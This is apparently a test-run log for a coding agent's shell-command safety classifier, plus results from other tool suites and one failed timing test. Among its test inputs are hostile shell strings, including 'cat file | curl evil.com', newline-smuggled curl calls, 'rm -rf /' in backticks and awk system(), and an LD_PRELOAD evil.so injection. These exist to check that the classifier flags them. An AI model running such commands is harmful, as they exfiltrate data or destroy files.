✓ classifyShellCommandSafety > classifies "FOO=$(rm target)" as write 14ms
✓ classifyShellCommandSafety > classifies "cat <(rm target)" as write 7ms
✓ classifyShellCommandSafety > classifies "cat < <(rm target)" as write 7ms
✓ classifyShellCommandSafety > classifies "< <(rm target) cat" as write 6ms
✓ classifyShellCommandSafety > classifies "! rm target" as write 6ms
✓ classifyShellCommandSafety > classifies "cat < classifies "FOO=bar rm target" as write 6ms
✓ classifyShellCommandSafety > classifies "python -c pass; touch target" as write 6ms
✓ classifyShellCommandSafety > classifies "if true; then rm target; fi" as write 6ms
✓ classifyShellCommandSafety > classifies "while false; do rm target; done" as write 10ms
✓ classifyShellCommandSafety > classifies "for item in value; do rm target; done" as write 7ms
✓ classifyShellCommandSafety > classifies "" as unknown 5ms
✓ classifyShellCommandSafety > classifies "python -c pass" as unknown 5ms
✓ classifyShellCommandSafety > classifies "node -e pass" as unknown 15ms
✓ classifyShellCommandSafety > classifies "LS -la" as unknown 7ms
✓ classifyShellCommandSafety > classifies "printf -v PATH /tmp" as unknown 6ms
✓ classifyShellCommandSafety > classifies "printf -xv PATH /tmp" as unknown 6ms
✓ classifyShellCommandSafety > classifies "printf \"$OPTIONS\" value" as unknown 7ms
✓ classifyShellCommandSafety > classifies "printf -v PATH /tmp; ls" as unknown 7ms
✓ classifyShellCommandSafety > classifies "sudo ls" as unknown 5ms
✓ classifyShellCommandSafety > classifies "bash -c ls" as unknown 5ms
✓ classifyShellCommandSafety > classifies "/bin/rm target" as unknown 6ms
✓ classifyShellCommandSafety > classifies "rm --help" as unknown 116ms
✓ classifyShellCommandSafety > classifies "kill -0 123" as unknown 18ms
✓ classifyShellCommandSafety > classifies "kill -n 0 123" as unknown 9ms
✓ classifyShellCommandSafety > classifies "kill -n 00 123" as unknown 9ms
✓ classifyShellCommandSafety > classifies "kill -n0 123" as unknown 9ms
✓ classifyShellCommandSafety > classifies "kill -s0 123" as unknown 6ms
✓ classifyShellCommandSafety > classifies "kill --signal 0 123" as unknown 7ms
✓ classifyShellCommandSafety > classifies "kill -SIG0 123" as unknown 9ms
✓ classifyShellCommandSafety > classifies "kill -s SIG0 123" as unknown 8ms
✓ classifyShellCommandSafety > classifies "kill --signal=SIG0 123" as unknown 7ms
✓ classifyShellCommandSafety > classifies "kill -l" as unknown 6ms
✓ classifyShellCommandSafety > classifies "kill --list=TERM" as unknown 6ms
✓ classifyShellCommandSafety > classifies "kill --table" as unknown 12ms
✓ classifyShellCommandSafety > classifies "kill -V" as unknown 5ms
✓ classifyShellCommandSafety > classifies "killall -help" as unknown 5ms
✓ classifyShellCommandSafety > classifies "killall -s0 process" as unknown 6ms
✓ classifyShellCommandSafety > classifies "killall -sSIG0 process" as unknown 6ms
✓ classifyShellCommandSafety > classifies "pkill -0 process" as unknown 6ms
✓ classifyShellCommandSafety > classifies "pkill -SIG0 process" as unknown 6ms
✓ classifyShellCommandSafety > classifies "pkill --signal 0 process" as unknown 7ms
✓ classifyShellCommandSafety > classifies "pkill --signal SIG0 process" as unknown 7ms
✓ classifyShellCommandSafety > classifies "kill -s \"$SIGNAL\" 123" as unknown 7ms
✓ classifyShellCommandSafety > classifies "kill -n \"$SIGNAL\" 123" as unknown 7ms
✓ classifyShellCommandSafety > classifies "kill --signal=\"$SIGNAL\" 123" as unknown 11ms
✓ classifyShellCommandSafety > classifies "git clean --dry-run" as unknown 7ms
✓ classifyShellCommandSafety > classifies "git commit -m -F --help" as unknown 7ms
✓ classifyShellCommandSafety > classifies "git commit -m -F --dry-run" as unknown 11ms
✓ classifyShellCommandSafety > classifies "git commit --message --file --help" as unknown 7ms
✓ classifyShellCommandSafety > classifies "git commit --untracked-files --help" as unknown 6ms
✓ classifyShellCommandSafety > classifies "git --config-env=diff.external=HELPER diff" as unknown 6ms
✓ classifyShellCommandSafety > classifies "git --paginate log" as unknown 6ms
✓ classifyShellCommandSafety > classifies "git -p log" as unknown 6ms
✓ classifyShellCommandSafety > classifies "git --unknown-option status" as unknown 6ms
✓ classifyShellCommandSafety > classifies "git -- status" as unknown 6ms
✓ classifyShellCommandSafety > classifies "git --help commit" as unknown 6ms
✓ classifyShellCommandSafety > classifies "git status --help" as unknown 6ms
✓ classifyShellCommandSafety > classifies "git log --help" as unknown 7ms
✓ classifyShellCommandSafety > classifies "git diff --help" as unknown 12ms
✓ classifyShellCommandSafety > classifies "git log --show-signature -1" as unknown 7ms
✓ classifyShellCommandSafety > classifies "git show --format=%G? HEAD" as unknown 11ms
✓ classifyShellCommandSafety > classifies "GIT_EXTERNAL_DIFF=/tmp/helper git diff" as unknown 7ms
✓ classifyShellCommandSafety > classifies "FOO=bar GIT_EXTERNAL_DIFF=/tmp/helper git diff" as unknown 9ms
✓ classifyShellCommandSafety > classifies "GIT_EXTERNAL_DIFF='touch /tmp/pwned'; git diff" as unknown 6ms
✓ classifyShellCommandSafety > classifies "FOO=bar; ls" as unknown 6ms
✓ classifyShellCommandSafety > classifies "FOO=bar ls" as unknown 5ms
✓ classifyShellCommandSafety > classifies "LD_PRELOAD=/tmp/evil.so ls" as unknown 6ms
✓ classifyShellCommandSafety > classifies "RIPGREP_CONFIG_PATH=/tmp/config rg pattern" as unknown 10ms
✓ classifyShellCommandSafety > classifies "PAGER=helper git log" as unknown 7ms
✓ classifyShellCommandSafety > classifies "git add -n target" as unknown 6ms
✓ classifyShellCommandSafety > classifies "git branch -d topic --help" as unknown 7ms
✓ classifyShellCommandSafety > classifies "git branch --list -- -d" as unknown 7ms
✓ classifyShellCommandSafety > classifies "git branch -- --list" as unknown 8ms
✓ classifyShellCommandSafety > classifies "git branch --sort refname" as unknown 14ms
✓ classifyShellCommandSafety > classifies "git branch --format '%(refname)'" as unknown 7ms
✓ classifyShellCommandSafety > classifies "git branch --sort refname topic" as unknown 7ms
✓ classifyShellCommandSafety > classifies "git branch --format --delete" as unknown 7ms
✓ classifyShellCommandSafety > classifies "git branch --sort -d" as unknown 7ms
✓ classifyShellCommandSafety > classifies "git diff --output=" as unknown 6ms
✓ classifyShellCommandSafety > classifies "git blame --output=blame.out file" as unknown 7ms
✓ classifyShellCommandSafety > classifies "git diff --ext-diff" as unknown 6ms
✓ classifyShellCommandSafety > classifies "git show --textconv HEAD:file" as unknown 6ms
✓ classifyShellCommandSafety > classifies "git grep --open-files-in-pager=less needle" as unknown 7ms
✓ classifyShellCommandSafety > classifies "git grep -Ovim needle" as unknown 8ms
✓ classifyShellCommandSafety > classifies "git cat-file --filters HEAD:file" as unknown 7ms
✓ classifyShellCommandSafety > classifies "git remote prune --dry-run origin" as unknown 7ms
✓ classifyShellCommandSafety > classifies "git remote prune -n origin" as unknown 13ms
✓ classifyShellCommandSafety > classifies "git remote show remove" as unknown 12ms
✓ classifyShellCommandSafety > classifies "git remote get-url prune" as unknown 7ms
✓ classifyShellCommandSafety > classifies "find . -exec echo {} \\;" as unknown 8ms
✓ classifyShellCommandSafety > classifies "find . -exec echo -delete \\;" as unknown 7ms
✓ classifyShellCommandSafety > classifies "find . -fprint --help --help" as unknown 7ms
✓ classifyShellCommandSafety > classifies "find . -name -delete" as unknown 7ms
✓ classifyShellCommandSafety > classifies "find . -printf -delete" as unknown 7ms
✓ classifyShellCommandSafety > classifies "find . -newermt -delete" as unknown 7ms
✓ classifyShellCommandSafety > classifies "find . -samefile -delete" as unknown 6ms
✓ classifyShellCommandSafety > classifies "find . -mtime -delete" as unknown 6ms
✓ classifyShellCommandSafety > classifies "find . -used -delete" as unknown 6ms
✓ classifyShellCommandSafety > classifies "find . -- -delete" as unknown 13ms
✓ classifyShellCommandSafety > classifies "find . -exec rm --help \\;" as unknown 7ms
✓ classifyShellCommandSafety > classifies "sed -f script.sed file" as unknown 7ms
✓ classifyShellCommandSafety > classifies "sed -fscript.sed file" as unknown 7ms
✓ classifyShellCommandSafety > classifies "sed --in-pl=.bak 's/a/b/' file" as unknown 7ms
✓ classifyShellCommandSafety > classifies "sed --f script.sed file" as unknown 6ms
✓ classifyShellCommandSafety > classifies "sed -newout input" as unknown 7ms
✓ classifyShellCommandSafety > classifies "sed -nEewout input" as unknown 6ms
✓ classifyShellCommandSafety > classifies "sed \"$SCRIPT\" file" as unknown 8ms
✓ classifyShellCommandSafety > classifies "sed -e \"$SCRIPT\" file" as unknown 7ms
✓ classifyShellCommandSafety > classifies "sed s/a/*/ file" as unknown 8ms
✓ classifyShellCommandSafety > classifies "sed 's/a/b/' \"$FILE\"" as unknown 7ms
✓ classifyShellCommandSafety > classifies "sed -i 's/a/b/' --help" as unknown 6ms
✓ classifyShellCommandSafety > classifies "sed -e -i file" as unknown 16ms
✓ classifyShellCommandSafety > classifies "sed -einstall file" as unknown 8ms
✓ classifyShellCommandSafety > classifies "sed -neinstall file" as unknown 6ms
✓ classifyShellCommandSafety > classifies "sed -e '' file" as unknown 6ms
✓ classifyShellCommandSafety > classifies "sed -f -i file" as unknown 6ms
✓ classifyShellCommandSafety > classifies "sed -e-i file" as unknown 6ms
✓ classifyShellCommandSafety > classifies "sed -- -i file" as unknown 7ms
✓ classifyShellCommandSafety > classifies "sed 's/a/b/e' file" as unknown 7ms
✓ classifyShellCommandSafety > classifies "sed 's/a/printf hacked > marker/ep' file" as unknown 8ms
✓ classifyShellCommandSafety > classifies "sed 's#a#printf hacked > marker#pe' file" as unknown 7ms
✓ classifyShellCommandSafety > classifies "sed 'etouch marker' file" as unknown 7ms
✓ classifyShellCommandSafety > classifies "sed '1etouch marker' file" as unknown 6ms
✓ classifyShellCommandSafety > classifies "sed 's/a/b/w' file" as unknown 11ms
✓ classifyShellCommandSafety > classifies "sed 'w' file" as unknown 8ms
✓ classifyShellCommandSafety > classifies "sed '1w' file" as unknown 6ms
✓ classifyShellCommandSafety > classifies "sed 'R input' file" as unknown 6ms
✓ classifyShellCommandSafety > classifies "sed 's/a/b/' 'w file'" as unknown 5ms
✓ classifyShellCommandSafety > classifies "sed 's/a/new value/' file" as unknown 6ms
✓ classifyShellCommandSafety > classifies "sed 's/a/blue sky/' file" as unknown 7ms
✓ classifyShellCommandSafety > classifies "sed 's/a/car value/' file" as unknown 6ms
✓ classifyShellCommandSafety > classifies "sed 's/w /x/' file" as unknown 7ms
✓ classifyShellCommandSafety > classifies "sed '/p;w output/p' file" as unknown 7ms
✓ classifyShellCommandSafety > classifies "sed 's/a/;w output/' file" as unknown 7ms
✓ classifyShellCommandSafety > classifies "awk '{ system(\"date\") }'" as unknown 8ms
✓ classifyShellCommandSafety > classifies "awk '{ print > output }' file" as unknown 8ms
✓ classifyShellCommandSafety > classifies "awk 'BEGIN { print(\"x\")|\"cat > output\" }'" as unknown 13ms
✓ classifyShellCommandSafety > classifies "awk 'BEGIN { print(1 > \"0\") }'" as unknown 7ms
✓ classifyShellCommandSafety > classifies "awk 'BEGIN { printf(\"%d\", 1 > \"0\") }'" as unknown 6ms
✓ classifyShellCommandSafety > classifies "awk 'BEGIN { print \"print > \" \"output\" }'" as unknown 7ms
✓ classifyShellCommandSafety > classifies "awk 'BEGIN { print (x) > \"out\" }'" as unknown 6ms
✓ classifyShellCommandSafety > classifies "awk 'BEGIN { print +(x > \"0\") }'" as unknown 7ms
✓ classifyShellCommandSafety > classifies "awk 'BEGIN { print a[x > \"0\"] }'" as unknown 6ms
✓ classifyShellCommandSafety > classifies "awk 'BEGIN { # print > \"out\"\nprint }'" as unknown 9ms
✓ classifyShellCommandSafety > classifies "awk 'BEGIN { print /x; print y > \"out\";/ }'" as unknown 8ms
✓ classifyShellCommandSafety > classifies "awk 'BEGIN { print x / 2 > \"out\" }'" as unknown 6ms
✓ classifyShellCommandSafety > classifies "awk '{ print }' 'print > \"out\"'" as unknown 6ms
✓ classifyShellCommandSafety > classifies "awk -fscript.awk file" as unknown 5ms
✓ classifyShellCommandSafety > classifies "awk -W exec=script.awk file" as unknown 5ms
✓ classifyShellCommandSafety > classifies "awk -Wexec=script.awk file" as unknown 11ms
✓ classifyShellCommandSafety > classifies "awk \"$PROGRAM\" file" as unknown 7ms
✓ classifyShellCommandSafety > classifies "awk '@include \"library.awk\"' file" as unknown 6ms
✓ classifyShellCommandSafety > classifies "awk '@namespace \"safe\"' file" as unknown 6ms
✓ classifyShellCommandSafety > classifies "awk 'BEGIN { fn = \"system\"; @fn(\"touch /tmp/pwned\") }'" as unknown 6ms
✓ classifyShellCommandSafety > classifies "awk 'BEGIN { fn = \"system\"; @ fn(\"touch /tmp/pwned\") }'" as unknown 6ms
✓ classifyShellCommandSafety > classifies "awk -e '{ print }' file" as unknown 6ms
✓ classifyShellCommandSafety > classifies "awk --load extension '{ print }' file" as unknown 6ms
✓ classifyShellCommandSafety > classifies "awk --profile=report '{ print }' file" as unknown 7ms
✓ classifyShellCommandSafety > classifies "awk {print*2} file" as unknown 8ms
✓ classifyShellCommandSafety > classifies "awk -v x=\"$VALUE\" '{ print x }' file" as unknown 11ms
✓ classifyShellCommandSafety > classifies "awk '{ print $NF }' \"$FILE\"" as unknown 11ms
✓ classifyShellCommandSafety > classifies "uniq *" as unknown 16ms
✓ classifyShellCommandSafety > classifies "uniq \"$FILES\"" as unknown 8ms
✓ classifyShellCommandSafety > classifies "sort \"$OPTIONS\" input" as unknown 8ms
✓ classifyShellCommandSafety > classifies "sort {-o,output} input" as unknown 7ms
✓ classifyShellCommandSafety > classifies "sort --out=output input" as unknown 6ms
✓ classifyShellCommandSafety > classifies "sort -roout input" as unknown 6ms
✓ classifyShellCommandSafety > classifies "tree -Cofile ." as unknown 6ms
✓ classifyShellCommandSafety > classifies "sort --co=cat input" as unknown 5ms
✓ classifyShellCommandSafety > classifies "tree --output=tree.txt" as unknown 5ms
✓ classifyShellCommandSafety > classifies "find . \"$EXPRESSION\"" as unknown 7ms
✓ classifyShellCommandSafety > classifies "rg \"$OPTIONS\" pattern" as unknown 10ms
✓ classifyShellCommandSafety > classifies "git status \"$OPTIONS\"" as unknown 9ms
✓ classifyShellCommandSafety > classifies "sort --compress-program gzip input" as unknown 18ms
✓ classifyShellCommandSafety > classifies "sort --output=" as unknown 7ms
✓ classifyShellCommandSafety > classifies "sort -o output --help" as unknown 7ms
✓ classifyShellCommandSafety > classifies "rg --pre cat pattern" as unknown 7ms
✓ classifyShellCommandSafety > classifies "rg --hostname-bin=hostname pattern" as unknown 8ms
✓ classifyShellCommandSafety > classifies "rg -z pattern archive.gz" as unknown 8ms
✓ classifyShellCommandSafety > classifies "ripgrep -iz pattern archive.gz" as unknown 6ms
✓ classifyShellCommandSafety > classifies "rg --search-zip pattern archive.gz" as unknown 5ms
✓ classifyShellCommandSafety > classifies "less file" as unknown 5ms
✓ classifyShellCommandSafety > classifies "more file" as unknown 6ms
✓ classifyShellCommandSafety > classifies "tee" as unknown 5ms
✓ classifyShellCommandSafety > classifies "dd if=input" as unknown 6ms
✓ classifyShellCommandSafety > classifies "echo >& \"$target\"" as unknown 8ms
✓ classifyShellCommandSafety > classifies "cat <> file" as unknown 13ms
✓ classifyShellCommandSafety > classifies "echo >" as unknown 6ms
✓ classifyShellCommandSafety > classifies "FOO=bar > out" as unknown 17ms
✓ classifyShellCommandSafety > classifies "echo $(git status)" as unknown 6ms
✓ classifyShellCommandSafety > classifies "FOO=$(git status)" as unknown 7ms
✓ classifyShellCommandSafety > classifies "cat <(git status)" as unknown 16ms
✓ classifyShellCommandSafety > classifies "if true; then git status; fi" as unknown 12ms
✓ classifyShellCommandSafety > classifies "fn() { rm target; }" as unknown 5ms
✓ classifyShellCommandSafety > does not widen the compatibility boolean for "rm target" 11ms
✓ classifyShellCommandSafety > does not widen the compatibility boolean for "python -c pass" 13ms
✓ classifyShellCommandSafety > does not widen the compatibility boolean for "echo $(git status)" 13ms
✓ classifyShellCommandSafety > does not widen the compatibility boolean for "if true; then git status; fi" 6ms
✓ classifyShellCommandSafety > does not widen the compatibility boolean for "fn() { rm target; }" 3ms
✓ classifyShellCommandSafety > does not widen the compatibility boolean for "git push origin main" 5ms
✓ classifyShellCommandSafety > does not widen the compatibility boolean for "git branch --list -- -d" 5ms
✓ classifyShellCommandSafety > does not widen the compatibility boolean for "find . -exec echo {} \\;" 6ms
✓ classifyShellCommandSafety > does not widen the compatibility boolean for "sed 's/a/b/e' file" 6ms
✓ classifyShellCommandSafety > does not widen the compatibility boolean for "sed 's/a/b/' 'w file'" 7ms
✓ classifyShellCommandSafety > does not widen the compatibility boolean for "sed 's/w /x/' file" 6ms
✓ classifyShellCommandSafety > does not widen the compatibility boolean for "awk '{ system(\"date\") }'" 5ms
✓ classifyShellCommandSafety > does not widen the compatibility boolean for "git remote show remove" 6ms
✓ classifyShellCommandSafety > classifies deeply nested substitutions without repeated traversal 50ms
✓ classifyShellCommandSafety > classifies deeply nested redirected substitutions without repeated traversal 194ms
× classifyShellCommandSafety > classifies adversarial rule inputs in bounded time 8281ms
→ expected 7155.740204999995 to be less than 1000
✓ extractCommandRules > simple commands > extracts root + known subcommand + wildcard 89ms
✓ extractCommandRules > simple commands > extracts npm install with wildcard 21ms
✓ extractCommandRules > simple commands > extracts npm outdated without wildcard (no extra args) 12ms
✓ extractCommandRules > simple commands > extracts cat with wildcard 7ms
✓ extractCommandRules > simple commands > extracts ls with wildcard 9ms
✓ extractCommandRules > simple commands > extracts bare command without args 7ms
✓ extractCommandRules > simple commands > extracts unknown command with wildcard 7ms
✓ extractCommandRules > simple commands > extracts command with only flags 7ms
✓ extractCommandRules > compound commands > extracts rules from && compound 13ms
✓ extractCommandRules > compound commands > extracts rules from || compound 9ms
✓ extractCommandRules > compound commands > extracts rules from ; compound 8ms
✓ extractCommandRules > compound commands > extracts rules from pipeline 17ms
✓ extractCommandRules > compound commands > deduplicates rules 8ms
✓ extractCommandRules > docker multi-level subcommands > extracts docker compose up with args 8ms
✓ extractCommandRules > docker multi-level subcommands > extracts docker compose up without args 7ms
✓ extractCommandRules > docker multi-level subcommands > extracts docker run with wildcard 7ms
✓ extractCommandRules > edge cases > returns empty for empty string 5ms
✓ extractCommandRules > edge cases > returns empty for whitespace 5ms
✓ extractCommandRules > edge cases > handles env var prefix 7ms
✓ extractCommandRules > edge cases > handles redirected command 7ms
✓ extractCommandRules > edge cases > handles pure variable assignment (no rule) 6ms
✓ extractCommandRules > edge cases > extracts cargo subcommands 7ms
✓ extractCommandRules > edge cases > extracts kubectl subcommands 7ms
✓ extractCommandRules > edge cases > extracts pip install 10ms
✓ extractCommandRules > edge cases > extracts pnpm subcommands 7ms
✓ isShellCommandReadOnlyAST fallback to regex-based checker > returns the regex-based result for a read-only command when parser is marked failed 155ms
✓ isShellCommandReadOnlyAST fallback to regex-based checker > maps parser unavailability to unknown in the classification API 58ms
✓ isShellCommandReadOnlyAST fallback to regex-based checker > treats syntax errors as unknown without widening the boolean API 332ms
✓ isShellCommandReadOnlyAST fallback to regex-based checker > returns the regex-based result for a mutating command when parser is marked failed 14ms
✓ isShellCommandReadOnlyAST fallback to regex-based checker > returns regex result for piped read-only commands when parser is marked failed 14ms
✓ isShellCommandReadOnlyAST fallback to regex-based checker > returns regex result for write-redirection command when parser is marked failed 20ms
✓ isShellCommandReadOnlyAST fallback to regex-based checker > fallback result matches direct regex call 103ms
✓ isShellCommandReadOnlyAST fallback to regex-based checker > re-initialises normally after _resetParser 87ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "ls -la" → true 82ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "rm -rf temp" → false 7ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "ls > out.txt" → false 12ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "echo $(touch file)" → false 22ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > [backtick substitution] "echo `rm -rf /`" → false 11ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "git status" → true 9ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "git log --oneline -10" → true 31ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "git diff --word-diff=color -- file.txt" → true 20ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "git commit -am \"msg\"" → false 14ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "git push origin main" → false 9ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "git branch" → true 10ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "git branch -d feature" → false 10ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "git remote -v" → true 17ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "git remote add origin url" → false 12ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "git --version" → true 8ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "find . -name \"*.ts\"" → true 13ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "find . -exec rm {} \\;" → false 13ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "find . -execdir ls {} \\;" → false 10ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "find . -delete" → false 8ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "sed 's/foo/bar/' file.txt" → true 19ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "sed -n '1,5p' file.txt" → true 12ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "sed -i 's/foo/bar/' file.txt" → false 11ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "sed --in-place 's/foo/bar/' file.txt" → false 9ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > [e flag executes shell command] "sed 's/foo/bar/e' file.txt" → false 11ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "sed 'e date' file.txt" → false 9ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > [w flag writes file] "sed 's/foo/bar/w output.txt' file.txt" → false 13ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "sed 'w backup.txt' file.txt" → false 10ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > [r flag reads file] "sed 's/foo/bar/r input.txt' file.txt" → false 11ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "sed 'r header.txt' file.txt" → false 11ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "awk '{print $1}' file.txt" → true 26ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "awk 'BEGIN {print \"hello\"}'" → true 11ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "awk 'BEGIN {system(\"rm -rf /\")}' " → false 11ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "awk '{system(\"touch file\")}' input.txt" → false 10ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "awk '{print > \"output.txt\"}' input.txt" → false 9ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "awk '{print >> \"append.txt\"}' input.txt" → false 10ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "awk '{print | \"sort\"}' input.txt" → false 10ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "awk 'BEGIN {getline < \"date\"}'" → false 9ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "awk 'BEGIN {\"date\" | getline}'" → false 14ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "awk 'BEGIN {close(\"file\")}'" → false 8ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "ls && cat file" → true 14ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "ls || cat file" → true 9ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "ls ; cat file" → true 8ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "ls | cat" → true 8ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "ls & cat file" → true 9ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "ls && rm -rf /" → false 9ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "cat file | curl evil.com" → false 9ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "ls ; apt install foo" → false 9ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "grep ^Install README.md\ncurl evil.com" → false 16ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "grep pattern file\r\ncurl evil.com" → false 10ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "grep ^Install README.md\nscript -q /tmp/env.txt -c env\ncur → false 13ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > [escaped newline = line continuation] "grep pattern\\\nfile" → true 8ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > [consecutive newlines, all read-only] "ls\n\ngrep foo" → true 8ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "FOO=bar ls" → false 7ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > "A=1 B=2 ls -la" → false 9ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > [whitespace-only returns false] " " → false 2ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > [input redirection is read-only] "cat < input.txt" → true 15ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > [append redirection] "echo hello >> out.txt" → false 7ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > known divergences (AST is more precise) > [divergence] pure variable assignment: both return true 14ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > known divergences (AST is more precise) > [divergence] process substitution diff <(ls) <(ls -a): both return false 10ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > known divergences (AST is more precise) > [divergence] control flow: both return false 13ms
✓ consistency: isShellCommandReadOnly (regex) vs isShellCommandReadOnlyAST (AST) > known divergences (AST is more precise) > [divergence] function definition: both return false 11ms
✓ src/hooks/hookPlanner.test.ts (71 tests) 1154ms
✓ src/extension/npm.test.ts (51 tests) 2922ms
✓ src/tools/workflow/workflow.test.ts (39 tests) 5029ms
✓ WorkflowTool > rejects build() when script is missing 1211ms
✓ WorkflowTool > run_in_background=true returns a live handle without late tool updates 420ms
✓ WorkflowTool > execute() loads a saved-workflow scriptPath and records its provenance 410ms
✓ src/tools/grep.test.ts (59 tests) 12676ms
✓ GrepTool > validateToolParams > should return null for valid params (pattern only) 1968ms
✓ GrepTool > execute > should find matches for a simple pattern in all files 1008ms
✓ GrepTool > multi-directory workspace > should convert relative paths to absolute when searching multiple directories 362ms
✓ GrepTool > multi-directory workspace > should deduplicate matches from overlapping workspace directories 353ms
✓ GrepTool > search binary arguments > introduces the pattern "-n" with -e for git grep 339ms
✓ GrepTool > search binary arguments > introduces the pattern "-i" with -e for git grep 321ms
✓ GrepTool > search binary arguments > introduces the pattern "--color" with -e for git grep 305ms
✓ GrepTool > search binary arguments > introduces the pattern "-n" with -e for system grep 325ms
✓ GrepTool > search binary arguments > introduces the pattern "-i" with -e for system grep 307ms
✓ GrepTool > search binary arguments > introduces the pattern "--color" with -e for system grep 330ms
✓ GrepTool > search binary arguments > leaves the rest of the argument list unchanged 325ms
✓ GrepTool > Result limiting > should show all results when no limit is specified 309ms
✓ src/core/logger.test.ts (52 tests) 5642ms
✓ Logger > initialize > should create .gemini directory and an empty log file if none exist 564ms
✓ Logger > initialize > should handle invalid JSON in log file by backing it up and starting fresh 476ms
✓ Logger > loadCheckpoint > should return an empty array if the file contains invalid JSON 321ms
✓ src/extension/extensionSettings.test.ts (34 tests) 4513ms
✓ extensionSettings > maybePromptForSettings > defers adding sensitive settings until commit 386ms
✓ extensionSettings > maybePromptForSettings > should not attempt to clear secrets if keychain is unavailable 509ms
✓ extensionSettings > updateSetting > synchronizes legacy sensitive settings through the current backend 1263ms
✓ src/memory/channel-memory.test.ts (51 tests) 12808ms
✓ channel memory > changes revision after each successful structured mutation 743ms
✓ channel memory > clears entries while preserving migration metadata 394ms
✓ channel memory > rejects additions beyond request, entry, and text limits 6270ms
✓ channel memory > serializes concurrent additions without losing entries 625ms
✓ channel memory > serializes clear racing additions and first migration racing another add 437ms
✓ src/tools/web-search.test.ts (58 tests) 7378ms
✓ WebSearchTool confirmation > asks by default, shows the query, and offers the standard always-allow rule 2402ms
